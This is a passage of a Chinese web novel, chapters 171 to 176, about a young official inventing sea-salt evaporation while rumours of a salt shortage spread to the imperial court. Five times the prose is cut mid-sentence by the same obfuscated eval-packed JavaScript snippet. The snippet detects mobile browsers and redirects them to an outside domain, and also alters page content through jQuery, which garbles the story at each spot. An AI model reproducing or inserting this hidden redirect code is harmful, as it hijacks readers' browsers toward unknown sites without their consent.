听到九阙说话的时候,他心里确实有种不合时宜的激动,但仔细想想,这怎么可能呢?就算现在现找出储存量巨大的盐湖盐井,短时间内也不可能制造出大量的盐,首先就不可能找到大量适合燃烧的干木。而北疆那边急需食盐,只怕等不得了,说不定还要从民间征集。或许父皇也会储存食盐,只是不知量大不大…… 见对方不相信自己,九阙有些着急,干脆直接扯着对方的袖子立下军令状。 “王爷,我真的可以制造出大量食盐。如果我弄不出来,你就,你就治我的罪好了。反正我这个官儿也是幸运得来的……” 第一百七十一章 制盐 “你这孩子,怎么能拿自己的前途开玩笑?!你能到如今这个位置多么不容易,就算不说我也能猜到。好孩子,我知道你是想给我解决困难,你……” 滨阳王原本是想说这份情他心领了,但是看着面前这孩子急的都快哭出来的模样,终归于心不忍。也罢,反正事情已经成如今这个样子,总不可能比现在还坏吧? 于是他话锋一转。 “但是如今也没有更好的法子,你就试一试吧,不过不要有太大压力。若是能做出来更好,做不出来也没人会责怪你。毕竟你现在所做的一切都是为了能更好。” 见滨阳王已经同意,九阙顿时喜笑颜开。甚至冲着赶过来的魏渊,淳于霜等小伙伴大笑。淳于霜还以为九阙是伤心过度,晕了头了,结果一扭头就发现连滨阳王也是面带微笑,眼含鼓励的样子,顿时有些摸不着头脑。这是发生了什么她不知道的事吗?为何九阙看起来这么激动,而且就连王爷也随着她? 等九阙冲过来把自己的计划告知大伙儿的时候,众人就明白王爷为什么会是那副纵容的表情了。 反正他们只是回京述职,再在这里耽误几日也没事儿,毕竟盐之一事关乎大景国脉,想来陛下也会理解。就连百衣淳也跃跃欲试。虽说她以前从来没有听说过晒盐就能把盐晒出来,可如果九阙真的能成功呢? 就算是她也听说过大海有多么广阔,海中的海水更是取之不尽,用之不竭。如果真能从海水中晒出盐来,那该能晒出多么多的盐呀?到那时候岂不是普天之下都不会缺盐吃了? 但是进京上供的脚步不能停,于是百衣淳想了想,干脆让自己的副手带着人马进京,自己则是留下来静观其变。反正只要贡品进京,谁送过去的都没关系。 看着大伙儿跃跃欲试的模样,滨阳王有些无奈。算了,就当是陪着孩子玩了,以后说不定再也没有这样的机会。只是想起那些暗地里作祟的贼子,滨阳王就面色难看,他之前已经飞鸽传书给父皇说明了这里的情况,请父皇多加注意京城里的情况,那些人竟然敢对大景的盐脉动手,定是心存反意,京城是大景的重要都城,若是那里出事,势必会引起国家动荡。 至于那个吃里扒外,甚至勾结外人在盐湖盐井里下毒的赵篝,都不必等送到京城,等把九阙他们送走之后,要当着全盐城百姓的面宰了他。如果只是自私贪婪也就罢了,竟然在明知道自己活不下去的情况下,将整个盐城的盐都给毁了,这不是毁了盐城一时,这是要毁了盐城百年基业呀! 五马分尸,凌迟处死都不为过! 不过这几个孩子还在,当着他们的面滨阳王不想显得那么残忍。左不过也就是几天功夫罢了,等把他们送走,有的是时间好好料理那个吃里扒外的东西。 虽然心里并没有真的相信,但滨阳王依旧十分支持九阙,甚至带着大队人马和制盐的熟手一路急行五十里,来到盐城那处平坦开阔的大海滩。 来的路上那些智盐的熟手还在暗地里嘀咕。 “我这辈子就没听说过用海水制盐。那些沿海的百姓倒是会用个小锅煮些盐来用。可要想弄出那么多的盐,得需要多少立即能用的干木?更何况这些煮出来的盐根本不适合长期食用。否则还需要咱们盐城那些盐井和盐湖做什么?他们不会认为从古至今没人想过用海水制盐吧?” “这谁知道呢?不过人家毕竟是从京城来的小姐少爷,或许真知道我们这些平头百姓不知道的秘法?” “你说这个我倒是想起来,听说那些世家大族有很多不世传的秘方,靠着那些秘方,他们的家族能绵延好几代呢。” “你也说了是秘方,人家凭什么把不外传的秘方告诉我们这些平头老百姓?” “这也不一定啊,毕竟我看那些小姐少爷跟咱们王爷很是相熟,说不定他们关系极好呢!老于头儿,你怎么说?” 老于头是他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14612581|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们这些匠人中手艺最高的一个,这会儿忧心忡忡的样子跟周围人格格不入。他是制盐的老手了,知道官府不会平白无故放弃自家的盐湖盐井跑到五十里之外的海边儿制盐。再加上昨天晚上不小心听到的动静,这位老人心里有了不好的念头。但既然上头没跟他们说,他也不会傻到在这个时候说出来。 这会儿听到同伴的询问,勉强装作淡定的模样。 “咱们不过有些手艺罢了,要做什么还不得听上头的命令?安心赶路吧,别想这么多,等需要咱们知道的时候自然就知道了。” “说的也是。” 于是大家安心赶路,大半日过后终于到达了海滩。 到了海滩之后,九阙站在高处仔细观察,最终选定了一块平整的地方,先不让取海水,反倒是先让人整理海滩,把海滩上那些杂物,石头,贝壳之类的全部弄走。不是没人对此提出异议,但是连王爷都赞同九阙的做法,于是大家也就没异议了。 回忆着脑海中有关晒盐的做法,庆幸之前因为闲着没事多了解了一下。晒盐一般要经过建滩、整滩、纳潮、制卤、测卤、结晶和捞盐归坨七套工序。 先将海水引入蒸发池,经日晒蒸发水分到一定程度时,再倒入结晶池,继续日晒,海水就会成为食盐的 饱和溶液,再晒就会逐渐析出食盐来。 这时得到的晶体就是常见的粗盐。 这是她记得的大概步骤,庆幸现在已经是夏季,阳光充足,而且这块地方很少下雨,足够支撑着把第一批盐制出来了。 即使带过来的人很多,大家也还是整整忙了两天,才将需要的盐池制作出来。原本大家对此持着怀疑态度,但是第五天中午,有人尖叫着跑出来,口中不停的呼喊着‘奇迹’。原本中午时分大家吃过饭后有些困乏,这声音一传出来,大家都不瞌睡了。 远远听到这阵动静的滨阳王心头狠狠一跳,连忙冲了过去。 第一百七十二章 雪雪白 同时心中有个不可思议的想法渐渐浮现,难道,难道九阙那孩子真的晒出盐来了?这不是天方夜谭吗? 怀着纠结的心情迅速赶到盐池,入目所及之处,已经被晒干的沙子上多了一层白花花的东西。难道那就是盐?可他们这几日除了把这盐池修理的平整宽广,再把海水挑过来,倒在事先准备好的叶子上,免得把盐池冲出来坑洞,每日再翻翻海水,然后也就没做什么了呀? 不可置信的揉了揉眼睛,等再次睁开,发现那层白花花的东西依旧存在,滨阳王是真坐不住了。什么情况?这是真的盐? 九阙在一边儿认真看着出言情况。相比较于周围激动到手舞足蹈的人来说,九阙早就知道能把盐晒出来,所以她是最淡定的,在外人看来就颇有些神秘莫测的味道。 这时候,她在众人心里披上了一层神秘的面纱,虽然很想知道这是不是盐,但大伙儿你看看我,我看看你,愣是没一个敢上前来询问的。就连一向脾气最为倔强,胆子也最大的老于头儿,这会儿都张口结舌,不敢上前,唯一敢询问的也就是滨阳王了。 滨阳王颤抖着双手轻轻扯了扯弯腰低头查看的九阙,语气相当认真。 “那些就是盐吗?我也见过海盐,可那些都比较粗糙,这些颜看起来就纯净许多。” “当然是盐,这样产出的盐量较大,不过还需要进一步过滤提纯,但是也比之前煮盐的方便简单而且快捷。” “那……” 其实滨阳王很想说那咱们还等什么?但紧接着九阙不可置信的盯着他。 “过滤提纯这道工序师傅们应该会做吧?这个还需要我帮忙?” “不不不,不敢劳烦大人,这点小事我们也会做。” 老于头连忙招呼自己的老伙计们,兴高采烈的把那些产出来的盐带到旁边过滤提纯去了。而滨阳王淳于霜等人目光炯炯的盯着九阙,就像在看一颗会发光的金子。 尤其是滨阳王,那眼神跟看着天上的仙女也差不多了。 “怪不得应将军曾说你出生时天有异象,香味绵延整整三月不散。你这脑袋生的就与旁人不同,是个实实在在的大才啊,怪不得父皇这么重视你。还是父皇英明神武,知道你身有不凡之处,厉害,真是厉害。” “我就说之前怎么看着九阙信誓旦旦的,还说什么我们从来没听过的晒盐法,原来是胸有成竹呀。像这种大财还有什么?快些说出来让我们听听。” 淳于霜眼中是抑制不住的激动,她实在是为自己好友感到开心。这个法子一改以往延续百年的主演法,势必会成为更方便,更快捷的制盐方法。而且也不必特意去寻找贫乏的盐湖盐井,大景地域广袤,与海水接壤的地方可不止盐城一个。日后若是在有海滩的地方都能建立盐场,那每年所能产出的盐可就无法估量了。 从今以后,天下百姓不必再担忧盐价会上涨!醋布这个违背人性的东西终将退出历史舞台! 这还没完,这么多的盐势必能为大景增加更多的收益。百姓能用更少的钱买得起盐,就能把多余的钱用在买卖其他物品上,银钱一旦流通起来,所能产生的价值不可估量。如此长期以往,大景百姓的生活会越来越好,越来越富裕。 淳于霜虽然一心想向上爬,可她终究是大景子民,希望自己的同胞们能过得更好。 就连魏渊都忍不住露出笑容,这比他以往冷漠酷哥的形象不太符合,叫九阙多看了两眼。更别说一直隐匿于人后的崔前辈这会儿都忍不住现出身形,惊喜又宽慰的看着九阙,她就知道跟着九阙能见识到以往不能见到的场景。天下又能找出来几个像九阙这般聪明绝顶,又肯为百姓着想的人呢? 实在是太少了。 所以才更显得珍贵。 “我也没什么特别好的法子,这回要不是看到王爷给我准备的赠礼,瞧见那上面有海盐,也想不起来这晒盐的法子。但只要有用就好了,这么大一块盐池,势必能晒出来很多盐。北疆军是不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14612582|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以吃到足够的食盐?咱们大景不会乱了吧?” “当然不会!你这法子,最少能让大景繁荣五十年!对未来的影响更是不可估量。你放心,咱们大景向来不会亏待功臣。等回去我就书信一封,为你请功!” 听说这孩子身上有个瑞安县主的爵位。太小了!好像还有个六品官位,父皇太过小气。这次回去若是不对九阙大封特封,他可就要闹了。当然了,还有这些孩子,个顶个都是好样的。像这样的年轻俊才,若是不能给他们更高的官位爵位,岂不是让外人看笑话? 还有九阙这孩子,有个毛病啊。谦虚虽然是好事儿,可也不能太过谦虚了不是?这样大的功绩若是不宣扬出去,谁晓得朝中那些满肚子坏水的大臣们会不会揽到自己身上?他以前可是吃过这种亏,绝对不能让自己的晚辈也吃亏! 想到这里滨阳王莫名多了许多责任感,他重重拍了拍九阙的肩膀,神情严肃的表示。 “放心,我会帮你。” “啊?” 九阙茫然的眨了眨眼睛,不晓得滨阳王这是搭错了哪根筋。帮我干啥?你会制盐? 总而言之,大家都高兴激动的不行,这片海滩也充满 了欢声笑语,等到提纯过滤之后白花花的海盐被盛到大家面前时,这种欢欣雀跃之情更是直冲云霄! “这么白的盐……我以前从未见过。” 九阙刚刚其实也提供了几个过滤提纯的小方法,以至于提取出来的食盐像雪花一样洁白。哪怕滨阳王坐镇盐城这么久,可他那里提纯出来最上等的食盐也略带青意。哪里像眼前这盘食盐,如最纯洁的雪花那般洁白,像一粒粒雪沙似的,让人看着就心生欢喜。 老于头将这盘食盐献上来,激动的在一旁搓手,被海风吹的干燥粗糙的脸上略带谄媚的笑意,如果说来之前还对九阙的法子有所怀疑,可是当看到盐池出盐量那么大,而且用了这位大人的法子之后提取出这般雪白的食盐,他算是彻底服了。 第一百七十三章 欢声笑语 作为制盐制了一辈子的老师傅,老于头清楚的明白,像这种法子都是世家大族百年不世传的绝密方子!它甚至可以决定一个家族的兴衰!而这位大人胸怀宽广,竟然愿意将这等绝佳秘方告诉他们这些毫无关系的老家伙,实在是,实在是叫他感动的无以复加…… “大人,从今往后您但凡有所吩咐,只管开口,我老于头儿以及子孙后代,但凡说个不字儿就不姓于!” “啊?” 九阙实在是不明白这位颇有傲气的老师傅为什么说这样的话,可以说她这个下午以来的震惊率甚至比过去的三天还要多。 不过算了,她其实也很能理解大家的震惊。若是她见到超出时代的东西,也会震惊不已。以后若是想起什么划时代的东西,还是赶紧弄出来。这些天,她对身为大景人的觉悟越来越高,也越来越认同这个垂垂危矣的国家。虽说这个国家有很多让人感到失望的人,还有更多像滨阳王淳于霜谢明尘魏渊……甚至还有老皇帝这样的人。 他们中的许多身居高位却愿意俯下身来为底层百姓着想。他们将这个国家放在至尊位,愿意用自己此生所学所识为其做出贡献。长时间和这些人待在一起,九阙也觉得自己变得越来越正派了。 当然,不得不承认的是为百姓做主,惩治贪官污吏这种事带来的成就感远比想象中要多许多。还有现在,用新式晒盐法晒出来的盐能让整个大景的百姓都吃上干净的食用盐,不用再吃醋布那种鬼玩意儿,九阙也觉得很高兴。她从来不觉得自己高贵,如果不是运气够好得到这个至少吃喝不愁的身份,说不定她也是个苦苦挣扎求生的底层百姓。 她虽然足够幸运,却不能因此感到庆幸。让所有人都能吃饱饭,穿暖衣,是像她这般能吃饱穿暖之人应该做的事。 等谢明尘郑重其事的测过这新产出的盐,表示完全可以食用,没有危害之后,所有人都沸腾了。趁着这股兴奋劲儿,滨阳王亲自带人重新开辟出来两个更大的盐池,并且在当天晚上举办了一场盛大的篝火晚会。 傍晚的时候,因为所有事儿都被别人干了,没事干的九阙带着淳于霜等人去旁边儿赶海去了。不得不说,这个时候未经污染和大肆捕捞的海中,海产品还挺丰富的。花了不大一会儿功夫就收获了好几筐。滨阳王甚至担心这些东西烤着吃味道太单调,特意命身边的侍卫去远处的山林中捕猎,最后浩浩荡荡的带出来一群野物。 当天晚上烤着暖烘烘的火,食物的香味飘来飘去,传出去老远,连带着的还有人们欢快的笑声。没想到大家还都挺有才艺,老于头给大家唱了一首沧桑悠远的民歌。淳于霜给大家吹了一曲笛子,滨阳王和魏渊更是趁兴来了一场剑舞,双方还假模假样的比划了几下。就连崔前辈都给九阙表演了一个隔空点鱼。 看着笑着闹着,九阙看着远方月光照耀下波光粼粼的大海,突然觉得好像少了什么东西。以往在海边玩耍,开篝火晚会的时候一般都会放烟花。他们这时候身边倒是没有五颜六色的烟花,之前九阙倒是做出了许多信号弹和霹雳火。奈何这次南下根本没带啊。 毕竟那东西刚做出来稳定性不太好,万一揣在怀里什么时候给炸了,自己可就尸骨无存了。 “等到了京城,咱们继续办篝火晚会,到时候给大家放个烟花,保准热闹喜庆又好看。” “烟花?那是什么花?” 滨阳王昏睡了三年之久,还以为外界出了什么自己不曾听说过的花,那叫一个惊讶。不过没想到看看周围这些小辈的表情,他们显然也是不知道的。看来这又是一个只有九阙才知道的东西。 见大家都一脸茫然,九阙连忙提醒。 “就是那个,淳于谢明尘魏渊,你们之前明明见过!炸起来很大声音,光芒很刺眼的那个!和信号弹霹雳火差不多的东西你们忘了吗?” 一听到这两个熟悉的名字,京城出来的几人当即就是一抖。淳于霜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14612583|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似笑非笑的看着九阙。 “那玩意儿是可以放来看的吗?你也不怕把我们炸飞!” “怎么可能?烟花和他们类似,但看起来更漂亮,能飞很高。若是能在海边放,你看,映着天空海水,别有一番风味。” 九阙说着说着都要陶醉了,然后就被淳于扔下手中的肉串,慢条斯理的冲过去一顿揉捏。 “说起来,你倒是总能弄出来这些奇奇怪怪却很有用的东西。什么时候给我弄出来个能发大财,赚大钱的玩意儿?你知道我的,我就是个穷苦小官儿,也没家人帮衬。自己的俸禄也就勉强够饿不死。所以县主大人,你若是有什么赚钱的营生,赶紧提携提携我吧。我也想住大宅子,吃好吃的,穿昂贵的丝绸,戴闪亮亮的首饰!” “窝不似……” 脸蛋被掐住捏来捏去,九阙口齿不清的吐了几个字,一脸无奈,倒也没有反抗,以她的力气,就算只用两根手指,都够淳于霜受的了。 不过她这么一说九阙倒是想起来了,闪亮亮亮晶晶的东西也不必非得是金银珠宝吧?她倒是知道一样但凡穿越者总喜欢造出来的玩意儿,那东西放在阳光下足够闪亮,也足够吸引人的目光。最重要的是造价很低,十分适合去搂那些世家 大族,达官贵族皇亲国戚家里的钱。 只是现在还没造出来,不能打包票,只能丧国辱权的点了点头,答应这不公平的条约。 这天夜里大家的欢笑声传出去很远很远…… 只是在大伙儿欢声笑语的同时,京城却渐渐弥漫起了谣言,不,不仅仅是京城,各大郡县都渐渐有谣言传出,而且还有愈演愈烈的趋势,以至于百姓之中略有骚乱。 听说盐城的滨阳王镇守不利,原本整理好要送到边关的食盐,连盐带船被人给沉了!不仅如此。连整个大景赖以生存的盐井盐湖都被人给投毒,八十年之内都不能再用了! 所以,大家要没盐吃了! 第一百七十四章 流言蜚语 大景要没盐吃了,这不是开玩笑吗?举国之下谁不知道盐城那里的盐湖盐井产出的盐量足够全国上下再吃上上百年?! 而且滨阳王是谁?那可是他们大景的英雄,当初闻名天下的双子星战神之一!还是他们陛下最疼爱的义子。这样出众的人物,怎么可能管不住自己的封地?当初就是因为看中滨阳王的能力,陛下才让他坐镇盐城,毕竟那可是能关乎一国命脉的盐矿所在。现在说什么盐城不产盐了?听听你说的这是什么屁话!盐城不产盐还产什么? 本来大家的想法都很坚定,可是当越来越多的唱衰声响起,尤其是当自己身边的亲朋好友们都在不停说着这件事的时候,很少有人能有这么坚定的毅力在满城风雨中依旧保持自己的看法。 渐渐的,‘我们要没盐吃了’这个消息传的满城皆知。很多地方的百姓都怀揣着‘反正早晚都得吃盐,早买点儿也能心安’的想法去大量买盐。官府当然会储备食盐,可现在更多的是紧着北疆将士们吃用。更何况他们就是被再多的量也顶不住百姓们的疯狂抢购。很多人原本想着盐这东西不需要抢,又不是米,一天得吃很多,可是当他们发现身边人都在疯狂抢购,就会产生‘如果我不买会不会以后再也买不到’的想法,继而跟着一起疯狂抢购。 这种不安的情绪会疯狂传染,尤其这种时候最容易引起民变。官府当然对其进行了管理,但很神奇,原本十分听话的百姓却不知听了谁的教唆,在发现自己买不到盐之后,甚至去冲击官府。每天,这样的情报都在不断上传到京城。 所有人的目光都放在了九重宫阙之内,那位端坐高台的帝皇身上。如今这种情况,那位铁血帝王会怎么做呢? 重重宫阙之内,那位开国帝王端坐高台之上,那双眼睛幽深长远,好像透过深深宫阙看到了外面街上百姓的动乱,看到了天下六十四郡府因为流言而陷入慌乱的样子。同时那双眼睛也在观察这个庞大帝国阴影处跃跃欲试,伸出爪牙的黑手。 “陛下,左相,右相,和户部,尚书,工部……六位尚书求见。” 九福身为景泰帝身边最受重用的大内监,自然也知晓现在外面到处传的流言蜚语。那些趁机作乱的人实在可恨,如果不是他的主子殚精竭虑许多年,怎么可能会有四海升平的太平盛世之景?要他说,那些趁机作乱之人都是没心肝的。 那些混账东西,吃着百姓们产的粮食,还要在这种时候挑拨,让百姓们慌张,不得不去买盐。可整个大景的食盐储存量是固定的,更别说盐城的盐场被毁,现如今哪儿去弄这么多的盐?如果百姓们不慌乱,现如今的储存量其实可以满足大家的需要。但问题就出在,就算再怎么强调,那些已经被恐慌情绪上头的百姓也不会相信,反而打从心眼儿里认为官府就是拿不出更多的盐,才会阻止他们买。 眼看着这几日陛下的心情越来越不好,甚至还多了几丝白发,九福就恨啊。陛下每日处理政务已经够辛苦了,这些个不知所谓的还要给他增添烦恼。枉为人臣,枉为人子! 景泰帝心情很不好,这些时日的流言他当然知道,盐城的情况,潮生的飞鸽传书已经到了,那孩子向来实诚,把这三年来发生的一切都写的极为详尽,还有那盐船被沉盐场被毁之事,也没有丝毫隐瞒。 看着桌面上那封信,景泰帝蓦然发出一声长叹。 “唉——” “九福,你说我是不是根本不配当这个皇帝?” “陛下!” 九福直接跪下了,面色沉痛,心中悲切,他就知道这些时日发生的事情对陛下并不是没有影响。 “陛下身负天命,平定叛乱,统一天下,乃大景开国帝皇。怎么不配了?那些外面的流言蜚语都是一些不臣之人故意散播,跟陛下又有什么关系?如果不是那些贼子毁坏盐船盐场,才不会有今日之景。这都是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14612584|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那些贼子的过错,与陛下何干?陛下啊,你可千万不要因此而伤怀——” 景泰帝忍不住笑了笑。他也就是随便感叹一句罢了。看见身边陪伴多年的内监伤心到不能自已的模样,倒是没那么难受了。 脆弱只是一时的,身为开国帝皇,景泰帝从来就没有软弱到不能理事的时候。他轻轻一笑,那股帝王的威势,让人无法直视。 从带着兄弟们走上起义造反那条路之时,景泰帝就已经把自己这辈子所有没有怯懦都丢到一旁。区区几股流言蜚语而已,还打不倒他。目前大景的食盐储存完全够百姓们吃一年以上,若一年之后当真找不到新的盐湖盐井也没关系,大景没有,草原上肯定有,南苗也有! 甚至度过那片大海,那些边陲小国怎么可能没有盐吃?既然他们都有,没道理抢不过来! 眼见着陛下渐渐振作起来,九福总算松了口气,然后把滨阳王第二封紧急送过来的书信呈上,万一那位陛下最喜爱的义子这回传过来好消息了呢? 去见那群唠唠叨叨个没完的臣子之前,景泰帝当然选择先看自家心头爱子送过来的书信。 结果刚看完第一行,景泰帝就豁然起身!因为动作太大,桌案上的奏折被带翻,掉落地上好几本!连笔墨都落在地上滚了几圈儿,周围服侍之人刚刚从地上爬 起来,见状立马又跪下了。九福也胆战心惊的,不会又是个坏消息吧?现如今这情形还能坏到哪里去? 再看陛下,面色通红,嘴唇剧烈颤抖。右手伸在空中不停抓握,似乎在抓什么不在眼前的东西似的,总而言之一句话,极为激动。 这是因为太生气了吗?可看着又不像特别生气…… 即便是服侍景泰帝时间最长,自诩最了解陛下的九福都不敢保证了。 好在景泰帝很快就清醒,他狠狠挥舞了一下拳头,然后重新坐在椅子上,继续看那封信。 第一百七十五章 那是祥瑞! 这封信并不长,比起上一封仔仔细细,恨不得把每一件事儿的前因后果都说清楚的模样,简直像是换了个人写的,但里面所提到的事情却叫景泰帝这个积年帝王激动的无以复加。 他就说那个孩子是天赐祥瑞,是上天特意安排到自己身边辅助他成就一番霸业的。这不?一遇到麻烦事儿,那孩子就会给出解决办法。即使在此之前他心中隐隐有所预料,但实在没敢想这孩子竟然能拿出新式制盐法,而且如此简单便捷,产量还这么大。海水里边儿就能提炼出可以食用的食盐,海水太多了,简直取之不尽,用之不竭。那这岂不是代表大景有吃不完的盐了? 不行不行,不能太过激动,免得被外人看出端倪。景泰帝一边心中劝慰一边紧紧握住拳头,但最后还是没能忍住,嘴角刚要上翘一个弧度又立马被拉下,导致他现在面部表情十分多变夸张。周围服侍的人本来想悄悄抬眼看看陛下现在是个什么状态,可一看到陛下那张变来变去的脸就什么也不敢想了,连忙重新趴伏在地。心中暗叹自己倒霉,竟遇上陛下心情如此不好的时候。 景泰帝此刻面色红润,紧紧握住拳头,狠狠呼吸了好几下之后才缓过来。他立马意识到这是个绝佳的时机,此刻除了盐城那批人之外,没有任何人晓得如今得到了新式制盐法,并且已经得到很大一批食盐。潮生那孩子在信中说已经派人将最新制出来的食盐运送上京,此刻算算日子,应该快到了。 也就是说那些暗中挑事儿的人并不晓得他如今已经有了足够的底气。 “呼——” 好!很好!他就说上天不会厌弃大景,他们努力了这么多年才勉强让百姓们休养生息。怎么可能这么快就陷入混乱?这一切都要感谢九阙那个孩子,如果不是她,这次还真要掀起波动了,尤其是还跟北蛮那边有关系,一想到那个已经被运送上京的左亲王,景泰帝就忍不住想冷哼一声,当年的手下败将如今也成长起来了,竟然敢私自进入大景,还跑到盐城那边耀武扬威。不仅带走他们的食盐铁器,甚至还将他们的女子掳掠带走。种种行为,简直令人发指。 虽说对那个左亲王没有一点好意,但景泰帝却不由自主的想起自己的儿子。虽说那个左亲王所作所为叫人厌弃,但他毕竟是为了草原。能够孤身潜入大景,确实勇气可嘉,而他的儿子呢?三皇子已经去世,暂且不提。剩下的几个皇子以前看着是好样的,可现在再看,景泰帝竟觉得眼前蒙了一层细雾,有些看不太清了。 曾几何时,那些跟在他屁股后面屁颠屁颠喊着‘爹’的孩子们已经长大了,有自己的想法了。 其实景泰帝并不排斥孩子们有自己的想法,就算自己是皇帝,也不能左右别人的内心所思所想。更何况,身为皇帝的儿子怎会不想去争一争那世间至尊之位?就算自己不想争,身后的母族臣子总会挟裹着他去争。 景泰帝对此早有预料,因此并不伤怀。事实上,如果他的四个儿子光明正大的竞争,他反而会感到欣慰,毕竟这偌大的江山总要找个合格的继承者。可他看到了什么?自己的儿子身为皇子不为百姓着想,反而插手的与敌国的贸易中。说贸易还算高看他们了,这不就是把自己国家的子民资源低价卖给敌国,收取大量利益吗? 这样得来的钱财花着就不觉得烫手?躺在富丽堂皇的皇子府里难道就真能高枕无忧?挡住眼睛就真能忽视那些白花花金灿灿的金银之下的累累白骨? 想着想着,景泰帝眼中就迸发出无法克制的杀意。他可以容忍自己的儿子窥探他屁股底下这张龙椅,甚至可以容忍几个皇子收拢人心笼络大臣,但唯独不能容忍对方不以大景的利益为重! 这方土地当初不知死了多少人才成如今这般勉强和平的模样。不能再死更多的人了,当初那尸横遍野的场景难道还没看够吗?不管是谁,触犯这一点,都不能原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14624639|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谅。 郑重其事的将那张薄薄的纸叠好,塞进衣襟里,还用力摁了摁,确保安全无虞,才整理好脸上的表情,让九福叫人进来。 那几个孩子们能做的事都已经做了,接下来就是他的战场。他得在那几个孩子进京之前把一切都处理干净,总不能孩子们高高兴兴的回来了,却看到一团乱麻吧? 想起那把这绝佳赚钱好法子无偿奉上的好孩子,景泰帝冰冷的心里就感到一阵暖流,这世上还是有人把百姓放在心上的,不是吗? 不多时,朝中的几个肱骨大臣就前后脚进了养身殿,一排的朱红官袍,走进来时各个面色严肃,带来一阵无法用言语说清的威势。 只是在行礼的时候,有人克制不住轻咳几声,立马请罪。 景泰帝表情略微和缓些,示意对方不必介意。 “朱卿可要保重身子,虽然天气渐热也不要贪凉,这大景的未来还要靠诸位撑起来。” “陛下言重了,微臣惶恐。实在是年老体衰,难免有体力不支之时。” 户部尚书有些不好意思。 “无事,不必介怀,人吃五谷杂粮,哪能不生病呢?不过,我看陈李二位爱卿面色也不太好看,还有左相,你们可都是朕的肱骨之臣,这个节骨眼儿上万万不能出事。九福,让太医院备上好的药材补 品,几位爱卿出宫之时都带上,回去温补一二。” “臣谢陛下隆恩。” 景泰帝安静看着下边儿感激涕零叩谢的臣子,想起潮生信中提及的子母蛊一事,眼中不禁闪过一丝厉芒。 子母蛊刚被破,朝中就有三分之一的大臣生病,要么就是不小心受伤,精气神和面色都不太好。这也太过巧合了吧,究竟是巧合还是有人意图搅乱这潭水,好浑水摸鱼? 不管到底是为了什么,只管放马过来吧!朕这辈子,还从来没有怕过什么! 第一百七十六章 淡定 君臣说了好几句贴心窝子的话,见气氛不错,才开始谈重要之事。 “启禀陛下,这几日街上的流言实在是让人听不下去。有滨阳王镇守,盐城怎么可能会出事?” 说话的是兵部胡尚书。他虽然不曾参军,但也曾习武,年轻的时候也有雄心壮志,出兵放马平定天下。而天下武人,就没有不崇拜滨阳王的。胡尚书对那位王爷的本事深有体会,根本不信盐城在对方的管理下会出事。当初陛下正是看中滨阳王的能力,才将至关重要的盐城交给他管辖。 而且,以他看,现在街上有关大景没盐的流言传播速度实在太快,以往就算想下达政令,也得好一段时间才能让天下六十四郡府知晓。可现在呢?速度实在太快了。这其中要是没有蹊跷才怪! 胡尚书会这么说实在不足为怪,不过很快就有人持不同意见。 “话也不能这么说,如果盐城当真没有出事,这流言怎么传的起来?而且滨阳王至今都未曾对流言作出处置,难道还不能说明问题?” “姓云的你这是什么意思?难道你就盼着盐城出事儿?!” “本官怎么可能这么想?倒是胡尚书,本官知晓你与滨阳王关系匪浅,可这是在陛下面前,事关国事,那点儿私情还是先放一放吧。” “你这是什么意思?什么私情?我与王爷那是实打实的情谊。如果没有王爷镇守,谁放心盐城?” 